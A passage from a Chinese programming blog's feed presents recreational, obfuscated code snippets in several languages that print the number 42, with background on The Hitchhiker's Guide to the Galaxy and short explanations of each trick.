Panic，一个是42影响力很大，而其中关于42的故事简介是这样的：</p>\n<p style=\"padding-left: 30px;\">百万年前，老鼠其实是一种超智慧生物，它们建造了一部超级电脑深思Deep Thought，它们问超级电脑，生命、宇宙以及任何事情的终极答案（<i>Answer to Life, the Universe, and Everything</i>）什么，经过了750万年的计算，深思告诉老鼠的后人答案是<b>42</b>，深思解释它只能计算出答案是什么，但答案的原因必须由另一部更高智能的电脑才能解释，而该部电脑就是地球。经过了800万年，就在结果要出来的五分钟前，地球却因为挡在预定兴建的星际间高速公路的路线，被Vogons给毁灭，电脑没有给出最后的结果。</p>\n<p><span id=\"more-11170\"></span></p>\n<p style=\"padding-left: 30px;\">故事里面还说了这个42是6 乘于 9得来。当然，6乘9应该是54，但是因为地球上的电脑被搞坏了，导致主人翁答错了。至于后来有人说6 x 9 = 42是基于13进制，原作者说，完全没有这回事，他就是瞎搞的。</p>\n<p>网上有很多人在猜测42的含义，比如<a href=\"http://www.douban.com/note/232036705/\" target=\"_blank\">douban的这篇文章</a>，但是原作者出来说这他就是随机想了一个，完全没有任何意义。</p>\n<p>对于42来说，数字42和短语，“生命，宇宙以及一切的答案”（<i>Answer to Life, the Universe, and Everything</i>） 已达到在互联网上邪教的地位。在各种技术宅，极客，科学圈有着非同凡响的地位。</p>\n<ul>\n<li>您若在Google输入<a href=\"http://www.google.com/search?q=the+answer+to+life%2C+the+universe%2C+and+everything\" target=\"_blank\" rel=\"nofollow\">the answer to life, the universe, and everything</a>，Google会直接回答42——而且还是用Google计算器算出来的。</li>\n<li>若在<a title=\"Wolfram Alpha\" href=\"http://zh.wikipedia.org/wiki/Wolfram_Alpha\" target=\"_blank\">Wolfram Alpha</a>中输入<a href=\"http://www.wolframalpha.com/input/?i=Answer+to+the+Ultimate+Question+of+Life%2C+the+Universe%2C+and+Everything\" target=\"_blank\" rel=\"nofollow\">Answer to the Ultimate Question of Life, the Universe, and Everything</a>，Wolfram Alpha也会回答42</li>\n<li>若在iPhone/iPad的Siri中问[What&#8217;s the meaning of life?]，Siri也会回答42</li>\n<li><span><span>在</span></span><a title=\"OpenOffice.org\" href=\"http://en.wikipedia.org/wiki/OpenOffice.org\"><span>OpenOffice.org</span></a><span><span>软件，如果您在任何单元格输入spreadsheet=ANTWORT(&#8220;Das Leben, das Universum und der ganze Rest&#8221;) (注：德语的ANSWER(&#8220;life, the universe and everything&#8221;))，结果也会是42。</span></span></li>\n</ul>\n<p>另外，在美剧《Lost》里那个经典的数字序列： 4, 8, 15, 16, 23,42。经Lost的导演确认，最后那个42也是源自《银河系漫游指南》</p>\n<p>好了，言归正传，下面让我们来看一下如何输出42的。</p>\n<h4>Ruby</h4>\n<p><code data-enlighter-language=\"ruby\" class=\"EnlighterJSRAW\"></code>puts (6 * 9).to_s(13)[/h4]</p>\n<p>解释：6 x 9 = 42的表达式（基于13进制）</p>\n<h4>Javascript</h4>\n<p>[javascript]String.prototype.answer = function() {<br />\n    alert(this.charCodeAt(+!&quot;The End of the Universe&quot;));<br />\n};<br />\n&#8216;*&#8217;.answer();[/javascript]</p>\n<p>解释：+!&#8221;The End of the Universe&#8221;的值是0，&#8217;*&#8217;的ASCII码是42</p>\n<p>[javascript]console.log(&quot;Douglas Adams&quot;.length + &quot;born on&quot;.length +<br />\n    [1,1,0,3,1,9,5,2].reduce(<br />\n        function(previousValue, currentValue, index, array){<br />\n            return previousValue + currentValue;<br />\n        }<br />\n    )<br />\n);</p>\n<p> /* [1,1,0,3,1,9,5,2] =&gt; March 11, 1952 */[/javascript]</p>\n<p>解释：Douglas Adams 是一位英国广播剧作家、和音乐家，尤其以《银河系漫游指南》系列作品出名。这部作品以广播剧起家，后来发展成包括五本书的“三部曲”，拍成电视连续剧。亚当斯逝世后还拍成电影。 除《银河系漫游指南》系列外亚当斯还参加了科幻电视连续剧《神秘博士》的拍摄工作，他写了其中的一些剧本。也的生日是 1952 年 3 月 11 日。</p>\n<p>[javascript]alert((!![]+ -~[])*(!![]+ -~[])+&quot;&quot;+(!![]+ -~[]))[/javascript]</p>\n<p>解释：[]是个空，![]就是true，~[]是-1, 于是，表达式就这样出来了。变态！</p>\n<p>[javascript]var ________ = 0.023809523809523808, ____ = 1, ___ = 0, __ = 0, _ = 1;</p>\n<p>       __ &#8211;           ___<br />\n     /_  |0        //     \\\\<br />\n    /_/   0     //          \\\\<br />\n   /_/_  |0                //<br />\n  /_/_   |0              //<br />\n /_/____ |_           //<br />\n/________|0        //<br />\n         |0     //______________[/javascript]</p>\n<p>解释：这个其实是代码混乱的技巧之一，用下划线当变量。你可以参考《<a href=\"https://coolshell.cn/articles/933.html\" target=\"_blank\">如何加密/混乱C源代码</a>》和《<a href=\"https://coolshell.cn/articles/914.html\" target=\"_blank\">6个变态的C语言Hello World程序</a>》</p>\n<h4>Shell</h4>\n<p><code data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">echo &quot;what is the universe&quot;|tr &quot;a-z &quot; 0-7-0-729|sed &#039;s/9.//g;s/-/+/&#039;|bc</code></p>\n<p>解释：其中，bc是一个计算器。tr是一个字符转换的命令，比如：<code>echo \"good\" | tr \"good\" \"test\"</code>输出 <code>tsst</code>。也就是说，g-t, o-e, o-s, d-t的映射，o被映了两次，所以，第二次会覆盖第一次。对于上面的<code>tr \"a-z \" 0-7-0-7-729</code>的意思是：abcdefg分别对应01234567，h对应-，ijklmno对应01234567，p对于2，剩下的包括空格都是9。如果你对tr和sed和bc不熟悉的话，可以man一下，关于sed你可以看一下我的《<a href=\"https://coolshell.cn/articles/9104.html\" target=\"_blank\">sed简明教程</a>》</p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">#!/bin/bash\n\n#Vertical Version\necho $((2#100))\necho $((2#10))\n\n#Horizontal Version\necho $((2#000100))$((2#00010))</pre>\n<p>解释：2#100的意思就是说，#左边的数说明是“2进制”，右边的数是二进制数“100”，如16#ff就是16进制的ff，也就是十进制的255</p>\n<p><code data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">echo &quot;obase=13;6*9&quot;|bc|figlet</code></p>\n<p>上面的命令输出：</p>\n<pre style=\"font-family: 'Consolas','Courier New', Courier, monospace;\">\n _  _  ____\n| || ||___ \\\n| || |_ __) |\n|__   _/ __/\n   |_||_____|</pre>\n<p>解释：为了使用figlet命令，你还要去安装一个figlet（<a href=\"http://www.figlet.org/\" target=\"_blank\">http://www.figlet.org/</a>）这是一个让你画ASCII图的命令。</p>\n<h4>Python</h4>\n<p>Windows下，给你画个图：</p>\n<div style=\"height: 300px; overflow: auto;\">\n<pre data-enlighter-language=\"python\" class=\"EnlighterJSRAW\">import win32api, win32con, win32gui\nfrom time import time, sleep\nimport os\n\nw = { 1:[(358, 263), (358, 262), (358, 261), (359, 261), (359, 262), (359, 264), (359, 266), (359, 270), (359, 282),\n     (358, 289), (357, 308), (356, 319), (355, 341), (355, 351), (355, 360), (355, 378), (355, 388), (354, 397),\n     (354, 406), (354, 422), (354, 428), (354, 436), (354, 438), (354, 439), (354, 440), (355, 440), (356, 439),\n     (357, 439), (358, 438), (360, 438), (362, 437), (369, 437), (372, 437), (381, 437), (386, 437), (391, 437),\n     (397, 436), (411, 436), (419, 435), (434, 435), (442, 435), (449, 434), (456, 434), (468, 434), (473, 435),\n     (480, 436), (483, 436), (485, 436), (487, 437), (488, 437), (488, 438), (488, 439), (487, 440), (486, 440),\n     (485, 440), (484, 440), (483, 439), (483, 437), (481, 431), (481, 427), (481, 420), (481, 413), (483, 396),\n     (485, 387), (488, 367), (491, 356), (493, 345), (500, 321), (503, 310), (507, 299), (514, 280), (517, 272),\n     (520, 266), (523, 260), (524, 258), (524, 259), (524, 261), (524, 265), (524, 269), (523, 275), (522, 289),\n     (521, 297), (518, 315), (516, 324), (515, 334), (513, 345), (509, 368), (507, 382), (502, 411), (500, 426),\n     (498, 440), (495, 453), (491, 478), (489, 491), (485, 517), (483, 530), (481, 542), (479, 552), (476, 570),\n     (475, 577), (474, 588), (473, 592), (473, 595), (473, 597), (473, 600), (473, 601), (473, 602), (473, 601),\n     (474, 599), (475, 597), (476, 594), (478, 587)],\n  2:[(632, 305), (634, 306), (636, 309), (639, 314), (641, 319), (645, 330), (647, 337), (649, 353), (649, 362),\n     (649, 372), (649, 384), (645, 409), (639, 436), (636, 448), (632, 459), (627, 470), (623, 479), (613, 497),\n     (608, 503), (599, 512), (595, 514), (591, 514), (587, 513), (581, 504), (578, 498), (576, 483), (575, 476),\n     (575, 469), (579, 454), (582, 447), (591, 436), (595, 432), (600, 430), (605, 429), (617, 432), (624, 437),\n     (639, 448), (646, 455), (654, 461), (662, 469), (679, 484), (686, 491), (702, 504), (710, 509), (718, 512),\n     (727, 514), (744, 515), (752, 515), (767, 512), (774, 510), (779, 508), (783, 505), (788, 499), (789, 495),\n     (789, 486)] }\n\ndef d( x1, y1, x2, y2 ):\n    win32api.SetCursorPos((x1, y1))\n    win32api.mouse_event(win32con.MOUSEEVENTF_LEFTDOWN, 0, 0, 0, 0)\n    win32api.SetCursorPos((x2, y2))\n    win32api.mouse_event(win32con.MOUSEEVENTF_LEFTUP, 0, 0, 0, 0)\n    sleep(0.01)\n\ndef p( l1 ):\n    l2 = [&quot;&quot;]\n    l2.extend(l1)\n    l1.append(&quot;&quot;)\n    l3 = zip(l2, l1)\n    l3.pop(0)\n    l3.pop(-1)\n    for n in l3:\n        d(n[0][0], n[0][1], n[1][0], n[1][2])\n\nos.startfile(&quot;C:\\Windows\\system32\\mspaint.exe&quot;)\nsleep(0.5)\nwin32gui.ShowWindow(win32gui.GetForegroundWindow(), win32con.SW_MAXIMIZE)\nsleep(0.5)\n\nfor n in w:\n    p(w[n])</pre>\n</div>\n<p>输出：<img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2014/03/1j0va.png\" alt=\"\" width=\"300\" height=\"240\" class=\"aligncenter size-full wp-image-11172\" srcset=\"https://coolshell.cn/wp-content/uploads/2014/03/1j0va.png 499w, https://coolshell.cn/wp-content/uploads/2014/03/1j0va-300x240.png 300w\" sizes=\"(max-width: 300px) 100vw, 300px\" /></p>\n<p>lambda表达式 </p>\n<p><code data-enlighter-language=\"python\" class=\"EnlighterJSRAW\">&gt;&gt;&gt; p = lambda x: x%2!=0 and True&lt;&gt;&gt; sum(p(i) for i in range(0,6))</code></p>\n<p>解释：对python的lambda表达式或函数式编程不是很清楚的同学可以看一下《<a href=\"https://coolshell.cn/articles/10822.html\" target=\"_blank\">函数式编程</a>》</p>\n<h4>Java</h4>\n<pre data-enlighter-language=\"java\" class=\"EnlighterJSRAW\">import java.lang.*;\nclass answer_to_everything \n{\n    void static main() \n    {\n        String s = &quot;Hitchhiker&#039;s Guide to the Galaxy&quot;;\n        String s2 = &quot;Don&#039;tPanic&quot;;\n        String s3 = &quot;The Restaurant at the End of the Universe.&quot;;\n\n        int arthur_dent = s.length();\n        int ford_prefect = s2.length();\n        int zooey_deschanel = s3.length();\n        int vogon_poetry = arthur_dent + ford_prefect;\n\n        System.out.println(&quot;         &quot; + vogon_poetry + &quot;       &quot; + zooey_deschanel + &quot; &quot; + zooey_deschanel); //in case you&#039;re confused, I&#039;m using Zooey to print the big &#039;2&#039;, and Vogons to print the big &#039;4&#039;.\n        System.out.println(&quot;       &quot; + vogon_poetry + vogon_poetry + &quot;     &quot; + zooey_deschanel + &quot;     &quot; + zooey_deschanel);\n        System.out.println(&quot;     &quot; + vogon_poetry + &quot;  &quot; + vogon_poetry + &quot;    &quot; + zooey_deschanel + &quot;       &quot; + zooey_deschanel);\n        System.out.println(&quot;   &quot; + vogon_poetry + &quot;    &quot; + vogon_poetry + &quot;            &quot; + zooey_deschanel);\n        System.out.println(&quot; &quot; + vogon_poetry + &quot;      &quot; + vogon_poetry + &quot;          &quot; + zooey_deschanel);\n        System.out.println(vogon_poetry + &quot; &quot; + vogon_poetry + &quot; &quot; + vogon_poetry + &quot; DA &quot; + vogon_poetry + &quot;     &quot; + zooey_deschanel);\n        System.out.println(&quot;         &quot; + vogon_poetry + &quot;     &quot; + zooey_deschanel);\n        System.out.println(&quot;         &quot; + vogon_poetry + &quot;    &quot; + zooey_deschanel + &quot; &quot; + zooey_deschanel + &quot; &quot; + zooey_deschanel + &quot; &quot; + zooey_deschanel);\n    }\n}</pre>\n<p>上面这段看上去平淡无奇，但其亮点是那三个string，这段代码输出：</p>\n<pre style=\"font-family: 'Consolas','Courier New', Courier, monospace;\">\n         42       42 42\n       4242     42     42\n     42  42    42       42\n   42    42            42\n 42      42          42\n42 42 42 DA 42     42\n         42     42\n         42    42 42 42 42</pre>\n<p>别忘了Java也可以混乱代码：</p>\n<pre data-enlighter-language=\"java\" class=\"EnlighterJSRAW\">\npublic        class         FourtyTwo{ public\nstatic         void         main(String[]args)\n{  new        javax                    .swing.\nJFrame        () {{                    setSize\n(42 /(        42/42                    +42/42)\n*42/ (        42/42                    +42/42)\n,42/(42/ 42+42/42)*         42/(42/42+42/42));\n}public void paint(         java.awt .Graphics\n  g){g.drawPolygon(         new int[]{42,42,42\n              + 42+         42,42+\n              42+42         ,42+42\n              +42 +         42,42+\n              42+42         +42,42\n              + 42+         42,42+42+42,42+42,\n              42+42         },new int[]{42,42+\n              42+42         +42,42+42+42+42,42\n\n+42+42+42+42+42,                  42+42+\n42+42+42+42,42,42,               42+42+42\n,42 +        42+42              ,42}, (42/\n42+42        /42)*              (42/  42 +\n42/42        + 42/             42 +    42 /\n42+42        /42))            ;g.drawPolygon\n( new        int[]           {42+42+42+42+42,\n42+42        +42 +           42+42      , 42+\n42+42        + 42+          42+42        + 42,\n42+42        +42 +          42+42        +42 +\n42,42+42+42+42+42,         42+42          + 42+\n42+42,42+ 42+42+           42+42          +42 +\n\n42+42,42+42+42+42+42+42+42+42,42+42+42+42+42+42,\n42+42+42+42+42+42,42+42+42+42+42+42+42+42,42+42+\n42+42+42+42+42+42},new int[]{42,42 +42,42+42,42+\n42+42,42+42+42,42+42+42+42+42+42,42+42+42+42+42+\n42,42+42+42+42+42,42+42+42+42+42,42+42+42+42,42+\n42+42+42,42},(42/42+42/42+42/42)*((42/42+42/42)*\n(42/42+42/ 42)));};}.setVisible(42*42*42!=42);}}</pre>\n<h4>C/C++</h4>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">#include\nint main()\n{\n    printf(&quot;%d&quot;, fprintf( fopen(&quot;/dev/null&quot;,&quot;w&quot;),\n       &quot;so-popularity-contest\\b\\b\\b\\b\\b\\b\\b\\b\\b\\b\\b\\b\\b\\b\\b\\b\\b\\b\\b\\b\\b&quot;) );\n}\n</pre>\n<p>解释：\\b是backspace，fprintf的返回值是写成功数据的长度。</p>\n<div style=\"height: 200px; overflow: auto;\">\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">#include&lt;iostream&gt;\nusing namespace std;\nint main()\n{\n    cout&lt;&lt;(char)32&lt;&lt;(char)32&lt;&lt;(char)32;\n    cout&lt;&lt;(char)66&lt;&lt;(char)73&lt;&lt;(char)82;\n    cout&lt;&lt;(char)84&lt;&lt;(char)72&lt;&lt;(char)32;\n    cout&lt;&lt;(char)32&lt;&lt;(char)32&lt;&lt;(char)32;\n    cout&lt;&lt;(char)32&lt;&lt;(char)68&lt;&lt;(char)69;\n    cout&lt;&lt;(char)65&lt;&lt;(char)84&lt;&lt;(char)72;\n    cout&lt;&lt;(char)32&lt;&lt;(char)32&lt;&lt;&#039;\\n&#039;;\n    cout&lt;&lt;(char)32&lt;&lt;(char)32&lt;&lt;(char)32;\n    cout&lt;&lt;(char)32&lt;&lt;(char)32&lt;&lt;(char)95;\n    cout&lt;&lt;(char)95&lt;&lt;(char)95&lt;&lt;(char)32;\n    cout&lt;&lt;(char)32&lt;&lt;(char)32&lt;&lt;(char)32;\n    cout&lt;&lt;(char)32&lt;&lt;(char)95&lt;&lt;(char)95;\n    cout&lt;&lt;(char)95&lt;&lt;(char)95&lt;&lt;(char)95;\n    cout&lt;&lt;(char)95&lt;&lt;(char)32&lt;&lt;&#039;\\n&#039;;\n    cout&lt;&lt;(char)32&lt;&lt;(char)32&lt;&lt;(char)32;\n    cout&lt;&lt;(char)32&lt;&lt;(char)47&lt;&lt;(char)32;\n    cout&lt;&lt;(char)32&lt;&lt;(char)32&lt;&lt;(char)124;\n    cout&lt;&lt;(char)32&lt;&lt;(char)32&lt;&lt;(char)32;\n    cout&lt;&lt;(char)124&lt;&lt;(char)32&lt;&lt;(char)32;\n    cout&lt;&lt;(char)95&lt;&lt;(char)95&lt;&lt;(char)32;\n    cout&lt;&lt;(char)32&lt;&lt;(char)124&lt;&lt;&#039;\\n&#039;;\n    cout&lt;&lt;(char)32&lt;&lt;(char)32&lt;&lt;(char)32;\n    cout&lt;&lt;(char)47&lt;&lt;(char)32&lt;&lt;(char)47;\n    cout&lt;&lt;(char)124&lt;&lt;(char)32&lt;&lt;(char)124;\n    cout&lt;&lt;(char)32&lt;&lt;(char)32&lt;&lt;(char)32;\n    cout&lt;&lt;(char)124&lt;&lt;(char)95&lt;&lt;(char)124;\n    cout&lt;&lt;(char)32&lt;&lt;(char)32&lt;&lt;(char)124;\n    cout&lt;&lt;(char)32&lt;&lt;(char)124&lt;&lt;&#039;\\n&#039;;\n    cout&lt;&lt;(char)32&lt;&lt;(char)32&lt;&lt;(char)47;\n    cout&lt;&lt;(char)32&lt;&lt;(char)47&lt;&lt;(char)32;\n    cout&lt;&lt;(char)124&lt;&lt;(char)49&lt;&lt;(char)124;\n    cout&lt;&lt;(char)32&lt;&lt;(char)32&lt;&lt;(char)32;\n    cout&lt;&lt;(char)32&lt;&lt;(char)32&lt;&lt;(char)32;\n    cout&lt;&lt;(char)32&lt;&lt;(char)32&lt;&lt;(char)47;\n    cout&lt;&lt;(char)50&lt;&lt;(char)124&lt;&lt;&#039;\\n&#039;;\n    cout&lt;&lt;(char)32&lt;&lt;(char)47&lt;&lt;(char)32;\n    cout&lt;&lt;(char)47&lt;&lt;(char)32&lt;&lt;(char)32;\n    cout&lt;&lt;(char)124&lt;&lt;(char)57&lt;&lt;(char)124;\n    cout&lt;&lt;(char)32&lt;&lt;(char)32&lt;&lt;(char)32;\n    cout&lt;&lt;(char)84&lt;&lt;(char)79&lt;&lt;(char)32;\n    cout&lt;&lt;(char)32&lt;&lt;(char)47&lt;&lt;(char)48;\n    cout&lt;&lt;(char)47&lt;&lt;(char)32&lt;&lt;&#039;\\n&#039;;\n    cout&lt;&lt;(char)47&lt;&lt;(char)32&lt;&lt;(char)47;\n    cout&lt;&lt;(char)95&lt;&lt;(char)95&lt;&lt;(char)95;\n    cout&lt;&lt;(char)124&lt;&lt;(char)53&lt;&lt;(char)124;\n    cout&lt;&lt;(char)95&lt;&lt;(char)95&lt;&lt;(char)32;\n    cout&lt;&lt;(char)32&lt;&lt;(char)32&lt;&lt;(char)32;\n    cout&lt;&lt;(char)47&lt;&lt;(char)48&lt;&lt;(char)47;\n    cout&lt;&lt;(char)32&lt;&lt;(char)32&lt;&lt;&#039;\\n&#039;;\n    cout&lt;&lt;(char)124&lt;&lt;(char)95&lt;&lt;(char)95;\n    cout&lt;&lt;(char)95&lt;&lt;(char)95&lt;&lt;(char)95;\n    cout&lt;&lt;(char)124&lt;&lt;(char)50&lt;&lt;(char)124;\n    cout&lt;&lt;(char)95&lt;&lt;(char)95&lt;&lt;(char)124;\n    cout&lt;&lt;(char)32&lt;&lt;(char)32&lt;&lt;(char)47;\n    cout&lt;&lt;(char)49&lt;&lt;(char)47&lt;&lt;(char)32;\n    cout&lt;&lt;(char)32&lt;&lt;(char)32&lt;&lt;&#039;\\n&#039;;\n    cout&lt;&lt;(char)32&lt;&lt;(char)32&lt;&lt;(char)32;\n    cout&lt;&lt;(char)32&lt;&lt;(char)32&lt;&lt;(char)32;\n    cout&lt;&lt;(char)124&lt;&lt;(char)32&lt;&lt;(char)124;\n    cout&lt;&lt;(char)32&lt;&lt;(char)32&lt;&lt;(char)32;\n    cout&lt;&lt;(char)32&lt;&lt;(char)47&lt;&lt;(char)32;\n    cout&lt;&lt;(char)47&lt;&lt;(char)32&lt;&lt;(char)32;\n    cout&lt;&lt;(char)32&lt;&lt;(char)32&lt;&lt;&#039;\\n&#039;;\n    cout&lt;&lt;(char)32&lt;&lt;(char)32&lt;&lt;(char)32;\n    cout&lt;&lt;(char)32&lt;&lt;(char)32&lt;&lt;(char)32;\n    cout&lt;&lt;(char)124&lt;&lt;(char)32&lt;&lt;(char)124;\n    cout&lt;&lt;(char)32&lt;&lt;(char)32&lt;&lt;(char)32;\n    cout&lt;&lt;(char)47&lt;&lt;(char)32&lt;&lt;(char)47;\n    cout&lt;&lt;(char)95&lt;&lt;(char)95&lt;&lt;(char)95;\n    cout&lt;&lt;(char)95&lt;&lt;(char)32&lt;&lt;&#039;\\n&#039;;\n    cout&lt;&lt;(char)32&lt;&lt;(char)32&lt;&lt;(char)32;\n    cout&lt;&lt;(char)32&lt;&lt;(char)32&lt;&lt;(char)32;\n    cout&lt;&lt;(char)124&lt;&lt;(char)95&lt;&lt;(char)124;\n    cout&lt;&lt;(char)32&lt;&lt;(char)32&lt;&lt;(char)124;\n    cout&lt;&lt;(char)95&lt;&lt;(char)95&lt;&lt;(char)95;\n    cout&lt;&lt;(char)95&lt;&lt;(char)95&lt;&lt;(char)95;\n    cout&lt;&lt;(char)95&lt;&lt;(char)124&lt;&lt;&#039;\\n&#039;;\n    return 0;\n}  </pre>\n</div>\n<p>输出：</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-11171\" alt=\"\" src=\"https://coolshell.cn/wp-content/uploads/2014/03/42.png\" width=\"182\" height=\"151\" /></p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">#include &lt;stdio.h&gt;\n\n#define six  1+5\n#define nine 8+1\n\nint main()\n{\n    printf(&quot;what do you get when you multiply six by nine?\\n&quot;);\n    printf(&quot;%i x %i = %i\\n&quot;, six, nine, six*nine);\n}</pre>\n<p>解释：6 x 9 = 42 ???，如果你知道宏只是做简单的字符串替换的话，你就知道six*nine被替换成了1+5*8+1这个表达式了。呵呵。</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">\n        main(c     ,z,_){c==01?\n       main(c+     1,0,c^c):c==2\n      ?z=_[&quot;#&quot;     &quot;#$#%&amp;#%#x&#039;%%&quot;\n     &quot;()&amp;(%%x&quot;             &quot;$%$(&quot;\n    &quot;(&amp;(&quot;&quot;*%x&quot;             &quot;&#039;%%(&quot;\n   &quot;(&amp;(&quot; &quot;+%x&quot;             &quot;&#039;#%(&quot;\n  &quot;(&amp;(&quot;  &quot;%#x&quot;             ],z ?z\n ==&#039;x&#039;?main(4,_     ,c*5):main(c\n +1,z,0),main(c    ,z,_+1):00:c\n ==3?(_+-2)==3?    main(_-1,_,\n         32):(     main(\n         c+1,c     ,((2+\n         c)*(z     -35)+\n         _)[&quot;&quot;     &quot;six&quot;\n         &quot;*ni&quot;     &quot;ne= {   }   &quot;\n         &quot;  ;&quot;     &quot;      _   ( &quot;\n         &quot;) [&quot;     &quot; 3 ]do {;&quot;]==\n         32?32     :043),main(c,z\n         ,_+1)     ):putchar(_);}</pre>\n<p>解释：参看<a href=\"http://codegolf.stackexchange.com/questions/21835/most-creative-way-to-display-42/21950#21950\" target=\"_blank\">原文的这个答案</a>里的How-To一节。</p>\n<h4>Brainfuck</h4>\n<p>代码混乱自然少不了brainfuck语言：（更多的奇葩的编程语言请参考《<a href=\"https://coolshell.cn/articles/4458.html\" target=\"_blank\">那些BT雷人的编程语言</a>》）</p>\n<pre style=\"font-family: 'Consolas','Courier New', Courier, monospace;\"> \n         +++++          +++[>+>++>\n        +++>++        ++>+++++>+++++\n       +>+++++       ++>+        ++++\n      +++ >+++       ++++        ++>+\n     +++  ++++                   ++>+\n    +++   ++++                  +++>\n   +++    ++++                 ++++\n  +>+     ++++               ++++\n +++      +>++             ++++\n++++++++>+++++++++       ++++\n++>+++++++++++++++     +<<<\n          <<<<        <<<<\n          <<<<       <-]>\n          >>>>       >>----.++++<<<<<\n          <<>>       >>>>++.--<<<<<<.</pre>\n<p>不过，下面这个BrainFuck更无聊，所以顶在了最佳答案上：</p>\n<pre style=\"font-family: 'Consolas','Courier New', Courier, monospace;\">\n           +++++[>++[>+>+        ++>++++>++++>++++>++++++\n          >++++++>+++++++        ++>+++++++++<<<<<<<<<-]>>\n         >+>+>+> >>>+[<]<        -]>>       >++>-->>+>>++>+\n        >--<<<<  <<<.....         .>            ....<......\n       ...>...   <<.>....                       >.>>>>>.<.\n       <<<<..     ..<....                      >..>>>>>.<\n      .<<<<.      >>>.<<.                     >>>>>.<.<\n      <<<<<       <.>...>                    >>>.>>>.\n     <<<.<        <<<..>>                  .>>>>>.<\n    <.<<<         <<...>>                 >>>.<<<\n   <..<.          ...>...               <<.>..>.\n   >>.<.<<...>>...<<...>>...<         <....>>..\n  .<<<.>.>>..>.<<.......<....        .....>...\n                 <<.>...            .....>...\n                 <......           .>>>.<<..\n                 <<.>...          .....>...<......>.>>.<.<<<\n                 .>......        ..>>...<<....>>.....>.<..>.\n</pre>\n<p>执行上面的代码，你会得到下面的输出：</p>\n<pre style=\"font-family: 'Consolas','Courier New', Courier, monospace;\">\n      ++++         +++\n    +[>++++    ++[>+<-][\n   <]<  -]>   >++    +++\n  +.-   ---   ---    ---\n --.+++++++         +++\n        +++       .++\n        +++      +.-\n        ---    -----.--.</pre>\n<p>再执行上面的代码，会输出：</p>\n<pre>6*7=42</pre>\n<p>如果6*9=42就完美了，就差一步啊……</p>\n<p>(全文完)<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 - CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/19612.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2019/07/1920px-Margaret_Hamilton_-_restoration-e1563697198766-1-150x150.jpg\" alt=\"50年前的登月程序和程序员有多硬核\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/19612.html\" class=\"wp_rp_title\">50年前的登月程序和程序员有多硬核</a></li><li ><a href=\"https://coolshell.cn/articles/12052.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" alt=\"Leetcode 编程训练\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12052.html\" class=\"wp_rp_title\">Leetcode 编程训练</a></li><li ><a href=\"https://coolshell.cn/articles/11656.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/06/software_development-150x150.png\" alt=\"开发团队的效率\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/11656.html\" class=\"wp_rp_title\">开发团队的效率</a></li><li ><a href=\"https://coolshell.cn/articles/8387.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/10/Learnable_Programming-150x150.jpg\" alt=\"Bret Victor &#8211; Learnable Programming\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/8387.html\" class=\"wp_rp_title\">Bret Victor &#8211; Learnable Programming</a></li><li ><a href=\"https://coolshell.cn/articles/22298.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/10/communication-150x150.png\" alt=\"聊聊团队协同和协同工具\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22298.html\" class=\"wp_rp_title\">聊聊团队协同和协同工具</a></li><li ><a href=\"https://coolshell.cn/articles/22173.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/02/http_method-150x150.png\" alt=\"“一把梭：REST API 全用 POST”\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22173.html\" class=\"wp_rp_title\">“一把梭：REST API 全用 POST”</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/11170.html\">如何用最有创造力的方式输出42</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/11170.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>29</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>由苹果的低级Bug想到的</title>\n\t\t<link>https://coolshell.cn/articles/11112.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/11112.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Mon, 24 Feb 2014 00:12:11 